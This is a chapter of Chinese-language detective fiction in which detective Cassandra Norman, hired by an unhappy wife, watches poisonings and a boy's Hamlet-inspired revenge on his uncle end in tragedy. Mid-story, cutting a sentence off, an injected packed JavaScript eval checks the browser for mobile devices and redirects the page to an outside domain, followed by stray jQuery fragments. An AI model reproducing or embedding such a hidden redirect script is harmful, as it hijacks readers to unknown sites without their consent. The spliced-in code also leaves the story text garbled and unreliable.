坐在维克托尔的车上,看着呼啸而过的街景。
汽车与马车并列而行,西装革履的绅士与皮革上衣的小伙子擦肩而过,夸张裙撑的夫人挽着简便裤装的小姐,这是个新旧碰撞的时代。
天渐渐暗下来了,点灯人将一盏盏煤气灯点了起来,商店的橱窗也被暖黄的灯光打亮,昏暗的街景重回光明,但这光明并不能照到所有地方。
卡桑德拉所在的莫里斯街离苏格兰场有些距离,维克托尔决定说点什么打破车内的安静。
“维格斯女士...”
“她挺好的,身强体壮,比我还健康。”
“达芙妮...”
“是的,我也想她,过段时间我会赴你们的约的。”
“...”
车内的气氛彻底陷入了寂静。
维克托尔还是不死心,试探性地开口:
“你...”
“是的是的,我很好。”
阿波罗的呱呱声好像在嘲笑这个沉默寡言,连一句完整话都说不出来的男人。
平心而论,能当上警察局长的人绝不会如此的不善言辞,但不知道为什么,一旦对上卡桑德拉,维克托尔总有万般言语梗在喉中。
那还是讲讲工作吧。
“杰克抓住了杀害费恩的凶手”维克托尔说道,“霍夫曼·杜鲁。至于巴里特·杜鲁的死因倒是和你说的大差不差。”
“嗯哼”卡桑德拉随意应了一句。
“你不觉得惊讶?”
“他跑的时候太惊慌失措了”以致于没发现不远处的池塘边还站着个人,“不过我确实没想到他会杀了他的侄子。”
“往你房间放毒药的人也抓到了,是一个女佣,她承认怀了私生子,又因为嫉妒你和主人家的关系越走越近,想毒死费恩·杜鲁再栽赃你。”
“我都说了,你不信我。”
“没有不信你,诺曼。你的故事倒是挺不错的。”
“命运的捉弄啊——我也觉得挺不错的。”
“你知道这算是误导警方调查吧。”
“我从一开始就讲了,这就是个故事,你不是没信吗?”卡桑德拉笑了一下,拒绝接受这个罪名。
虽然维克托尔没信,但他总觉得杰克信了。过去共事的经历让他总是对卡桑德拉所说的真相深信不疑,甚至忘了她现在不是官方侦探,而是一个嫌疑人。
维克托尔甚至怀疑这一切都是卡桑德拉下的套,但也不是很情愿承认他手底下的人就这么傻傻地上套了。
比泰晤士河的鱼还不如,那些鱼好歹不会那么轻易被钓上。
“其实我觉得《福尔蓬奈》比《哈姆雷特》适合他。”卡桑德拉思维跳跃着。
“诺曼,没人会给孩子看讽刺剧的。”他们根本看不懂。
“谁说的,他连复仇剧都看得懂。他甚至给自己的猫取名奥菲利亚。”
“...”
维克托尔知道她讲的是什么,莎士比亚的戏剧《哈姆雷特》,讲的就是丹麦王子哈姆雷特发现自己的叔叔克劳狄斯毒杀了自己的父亲,并强占了母亲乔特鲁德而展开的复仇故事。
如果费恩将自己比作哈姆雷特,自然要遵循那悲剧的结局。可怜的小猫成了奥菲利亚,父亲是被毒杀的丹麦国王,母亲是不幸的乔特鲁德,谁又是可恶的克劳狄斯?
不论如何,生命的逝去总是令人感到惋惜。
车内又重归寂静,好在不一会儿就抵达了目的地。
灰色小楼前的路灯还亮着,到了熟悉地方的阿波罗自觉地从二楼开着的窗口飞了进去。
“要进去坐坐吗,赫柏应该还没睡。”
“不了,替我向维格斯女士问好。”
卡桑德拉站在台阶上目送维克托尔的离去,然后转身打开了大门,大叫:
“赫柏!!!我回来了!”
她的管家从楼梯下来,一如既往。
“洗澡水已经放好了,要卸个妆吗,我的小姐。”
在这之前还有更重要的事。
“看我给你带了什么回来!”卡桑德拉摊开手,一颗红宝石毅然出现在掌心。
“看来这次的雇主是个大方的人。”赫柏笑着说道。
*
杜鲁夫人是个怎样的人?
在卡桑德拉看来,她的雇主是个大方,不太聪明也下不去手的人。
在费恩·杜鲁看来,他的母亲是个阴晴不定的人,对他总没有什么好脸色。
在巴里特·杜鲁看来,他的妻子是个无趣的女人,和她的结合纯粹是金钱交易。
在霍夫曼·杜鲁看来,他的嫂子是个倒霉且没有眼力见的蠢女人。
在管家看来,他的情人是个楚楚动人的美人。
而在庄园中众多仆人看来,他们的女主人是个不受丈夫爱戴的可怜人。
杜鲁夫人是个怎样的人?
她自己也说不清。
唯一能确定的是她自认是个被生活折磨疯了的普通人。
人生的前几十年在所谓的家庭上浪费了太多,以至于想脱身时不得不花费更多的精力,甚至求助他人。
卡桑德拉·诺曼。
杜鲁夫人躺在床上,抚摸着尚且平坦的小腹,望着窗外的杜鹃花丛,反复咀嚼这个名字,一遍又一遍。
杜鲁夫人还记得,那张写着卡桑德拉名字的名片被递上来时,她看着上面的私家侦探几个字有些好笑。
“侦探?我不需要一个侦探。”
她确实不需要,她丈夫与交际花的事情并不隐秘,甚至满城风雨,她闭着眼睛都能说出至少三个人的名字。
比起私家侦探她更需要一名杀手,天知道她每晚都在睡前祷告,希望她的丈夫哪天在去寻欢的路上被随意穿行的车马撞死。
“试试吧。她还欠我一个人情,不过能不能说动她就要看你愿意花多少了。”
“我只是想帮你。”
“凯莉姑姑。”
她看着她的侄女,她哥哥的女儿。
她们其实长得很像,看着她能隐约看见她年轻时的样子,但命运相差太多了。
她是被家族抛出去的棋子,而她是野心勃勃的篡位者。
“你知道我已经被嫁出去了吧。”
“都是一家人,说什么两家话呢。”
“你想要什么?”
她的侄女笑了笑没有回话,但她还是接下了那张名片,即使她知道背后的代价不一定是她能负担的起的。
她渴望这一天太久——太久了。
一切都很顺利,或者说,顺利过头了。
她带着那张名片以及介绍信找到了那栋灰色的小楼,开门的管家了解她的来意后邀请她进去坐坐,但她拒绝了。
她坐在门外的马车上,给自己一个后悔的机会。
但是没有。
直到那个年轻女孩坐在她的对面,直到她们乘车驶向郊外。
一天后,卡桑德拉以家庭教师的面貌混进庄园,至于真正的斯科特小姐,她给了一份推荐信,将她打发走了,对内就宣称斯科特小姐回老家探亲。
一切都进行的很顺利,费恩的死和霍夫曼的入狱简直是意外之喜。
今晚过去,庄园将会重归平静。
那么昨晚到底发生了什么。
那天晚上,管家在巴里特的醒酒茶里下了大量的安眠药,大量的药物会使他呕吐,然后窒息,最后不得不痛苦地离世
她在自己的房间焦灼地等待着结果,不能只有她一个人不安,于是她将侦探叫来自己的房间。
“你确定事情会按照你计划的那样走吗?”
“万一失败了呢?!万一他发现不对劲了呢?!”
保养得体的贵妇人形容有些癫狂。
“放轻松,夫人。”而她花大价钱聘请的侦探只是站在窗前不紧不慢地说话,好像窗外的景观更迷人。
“你的庄园好像来了位客人”卡桑德拉走向杜鲁夫人,将她推向窗前,“看看吧,不错的一幕。”
杜鲁夫人有些崩溃“都什么时候了你还...哦!真恶心。”
皎洁的月光让这片土地上的所有一览无余,花园里正在上演一场限制级画面,起码不应该是不远处抱着猫躲在灌木丛的费恩应该看的。
她倒是知道这场戏剧的男主角是谁——霍夫曼·杜鲁,她丈夫的弟弟,和他一样的风流多情。
他倒是经常来庄园做客,只是没想到居然会和这里的佣人搞到一起。
“说起来倒是有个挺好笑的事,费恩以为你和他的叔叔有私情”
杜鲁夫人一想到这个可能性就想呕吐,她恨这个家里所有人,连带着她的孩子也不喜欢。
“他怎么会这么想?”
“谁知道呢,和你的情人找刺激的时候记得避着点人。”卡桑德拉意有所指,紧接着趁杜鲁夫人愣神的功夫离开了这个房间,她有些不喜欢和她独处。
而她离开时正好在楼梯上遇到了抱着奄奄一息的猫的费恩,小男孩看起来闷闷不乐的。
她当然知道是为什么,但并不想管。她就快离开这栋庄园了,没什么必要浪费力气维持人设。
这件庄园——这里面的所有人——都令人感到不快,除了厨房阿姨手艺还算不错。
“哦,斯科特小姐。”只是她没想到会在房间门口遇到艾米丽,“我正要找您呢!”
“什么事?”
艾米丽倒也不在意卡桑德拉的冷淡,今晚过去只要计划顺利,她就能除掉两个眼中钉。
“少爷不在房间,您知道他去哪了吗?”
“他刚回去。”
“那太好了,您能帮我把这杯牛奶送给少爷吗?您知道的,他有点不太喜欢我。”
为了让她答应,艾米丽说尽了好话,如此殷勤自然事出有妖,但今晚发生太多意外了,卡桑德拉不介意扮演戏中人。
于是她答应了。
在费恩的卧室里,不过八岁的小男孩抱着他奄奄一息的猫,但还是乖巧地接下家教递来的牛奶。
卡桑德拉捂住抬起的杯口,她说,“给奥莉吧,她看起来更需要一些营养。”
再后来又发生了什么呢?
奥莉打气精神喝完了那杯牛奶,那杯牛奶加快了她的死亡进程。棕发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16318280|183122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小男孩惊恐地看着她的猫在地板上抽搐、呕吐,几近崩溃。
“那是杯毒药吗!谁想杀了我?叔叔?”费恩抬头问。
“不怀疑是我吗,牛奶是我端来的。”卡桑德拉倒是有些惊讶。
“你没让我喝下去。”
卡桑德拉几乎有些喜欢这孩子了,他的智商比整个苏格兰场加起来还高。
小男孩带着不安向面前唯一可相信的家教询问,希望他的老师能向上课提问时给他正确答案:“我该怎么办?”他问到。
“你被吓坏了”卡桑德拉轻抚着小男孩的头发,棕发比金发顺眼多了,“这是你的家事,为什么不问问你父母的意见。”
离开了费恩的卧室,回到自己房间的卡桑德拉看着桌上被动过的墨水瓶,回想起那差点被毒杀的男孩,卡桑德拉知道他会去的。去找谁呢?一向不喜欢他甚至可能与叔叔有私情的母亲?他的父亲,当然。
果不其然,就在她快睡着时,门外响起了急促的跑步声,紧接着的就是连续不断的敲门声
“父亲!父亲也被毒死了!我知道是谁!叔叔和妈妈!一定是他们!”
他就知道!如《哈姆雷特》一般的戏剧在他的身边上演。
一进门费恩几乎控制不住地要叫出声,他看到父亲倒在呕吐物中,和他的猫一样,一定是被毒死的!
而他的叔叔今晚偷偷出现在庄园内,单纯的小男孩绝想不到无聊的大人来这只是为了偷情,他一定是为了做什么来的,父亲的死就是最大的证据。
“为什么来找我呢?”卡桑德拉没接着他的情绪,冷静地问到。
费恩显然还没回过神来,有些结结巴巴的:“我,我也不知道。”他只是下意识地往这跑。
“那你想做什么呢?”卡桑德拉继续问道。
“做什么,什么...”他的脑子里只剩一个词“复仇,对!复仇!”
“要是你有天性之情,不要默尔而息,不要让丹麦的御寝变成了藏奸养逆的卧榻。”①卡桑德拉背了句书中的台词,“我倒是不怎么喜欢看悲剧。”
此时的费恩已经有些冷静下来了,他看着这个从头到尾都表现得很冷静的家教,终于意识到一个可怕的事实:“你不是斯科特小姐。”
听到这句话的卡桑德拉几乎忍不住要笑出声来,她得说,这孩子的智商比整个苏格兰场加起来还高十倍。
但她没有承认,她自认还是有点职业道德的,只是劝道:“去休息吧。”
“不,我清楚我要做什么”费恩这会倒是真正冷静下来了,“父亲死了,她需要留着我继承土地,你应该是她雇来的人,唯一会对我动手的只有叔叔。”
“他还——还伤害了奥菲。”他看向卡桑德拉,“你得帮我,不然我就告发你。”
卡桑德拉倒是有些感兴趣:“你想怎么复仇?”
千万不要像他妈妈——往醒酒茶里下安眠药——这太无聊了,也没什么计谋可言,这么多年她有无数次下手的机会,只是缺少一个推力。
要不是为了等风流浪子终于肯回家吃饭,谁乐意在这庄园里待一周。
不过还是得让卡桑德拉失望了,眼前的小男孩也不是什么脑力派,你不能指望一个八岁小孩想出什么精妙绝伦的复仇计划。
费恩提起了那座塔楼,那里很偏僻,平时不会有人路过。
那里的栏杆很矮,只到一个八岁小孩的腰部,若说哪里能让一个小孩堂堂正正地打败他的叔叔,也就只有在那趁他不备将他推下去。
卡桑德拉的兴趣锐减。
“去睡一觉吧,现在太晚了。他是偷偷来的,门口没有马车接应,他不会自己走回家的。明天我陪你去找他。”
而到了第二天清晨,在这栋庄园大部分人都还在沉睡的时候,在费恩敲开小木屋的门即将开启他的复仇之前,他回头看了一眼陪他到这的卡桑德拉
他说:“我把奥菲放在了床底的铁盒里,如果我不幸遇害了,你帮我把她埋葬,再向警察告发他们。拜托你了。”
卡桑德拉接下了这份委托,她看着小小的“丹麦王子”鲁莽地走向他的结局。
嗵的一声,一个小男孩从高楼落下,一个慌张的人影从塔楼跑出。他试探性地探向小男孩,摸着他的鼻息,连手上沾了血都不知道。
他想跑来着,怎么跑——把庄园的马偷走——不——该死的马夫。
还不等接应他的佣人赶到侧门,这间庄园里的人就开始活动,也终于发现了一件事——他们的男主人死了。
卡桑德拉按照约定带着奥菲的尸体来到了池塘边:“看来你的主人回不来了。你会喜欢这里吗?水中的奥菲利亚?”
她被警察当成嫌疑人抓住,完成了霍拉旭的使命,向警察们讲述了一个故事,一个小男孩眼中的真相。
而费恩呢?在坠落时他在想什么?他只是想起了那句台词的后半段。
“可是无论你怎样进行复仇,你的行事必须光明磊落,更不可对你的母亲有什么不利的图谋,她自会受到上天的裁判,和她自己内心中的荆棘的刺戳。”②
真的吗?
妈妈?